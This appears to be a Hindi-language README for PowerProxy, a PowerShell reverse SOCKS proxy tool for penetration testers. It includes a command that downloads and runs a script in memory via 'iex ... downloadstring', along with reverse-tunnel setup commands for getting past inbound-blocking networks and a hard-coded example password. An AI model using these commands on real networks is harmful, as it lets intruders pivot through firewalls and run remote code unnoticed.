
पावरशेल SOCKS प्रॉक्सी जिसमें रिवर्स प्रॉक्सी क्षमताएं हैं
पावरशेल SOCKS प्रॉक्सी जिसमें रिवर्स प्रॉक्सी क्षमताएं हैं।
PowerProxy को पेनिट्रेशन टेस्टर्स को ध्यान में रखकर लिखा गया है। रिवर्स प्रॉक्सी कार्यक्षमता को प्राथमिकता दी गई है, ताकि उन नेटवर्कों को पार किया जा सके जो इनबाउंड कनेक्शन को ब्लॉक करते हैं। रिवर्स प्रॉक्सी कनेक्शन डिफ़ॉल्ट रूप से एन्क्रिप्टेड होते हैं। Socks 5 कनेक्शन के लिए उपयोगकर्ता नाम/पासवर्ड प्रमाणीकरण समर्थित है।
स्क्रिप्ट आयात करें:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py अस्थायी SSL प्रमाणपत्र बना सकता है, जिसके लिए OpenSSL की आवश्यकता होती है। यदि आपकी मशीन पर OpenSSL स्थापित नहीं है (अधिकांश Linux/Unix-आधारित सिस्टम पर यह होता है), तो अपना स्वयं का प्रमाणपत्र प्रदान करें या --no-encrypt विकल्प का उपयोग करें।
विस्तृत उपयोग के लिए, PowerProxy की सहायता देखें, या ./reverse_proxy_handler.py --help का उपयोग करें।
स्थानीय मशीन पर, हैंडलर शुरू करें:
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
PowerShell में:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
प्रॉक्सी क्लाइंट reverse_proxy_handler.py द्वारा बनाए गए सर्वर को वास्तविक SOCKS सर्वर के रूप में मान सकते हैं:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
उपयोगकर्ता नाम और पासवर्ड की आवश्यकता के लिए PSCredential ऑब्जेक्ट का उपयोग करें:
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose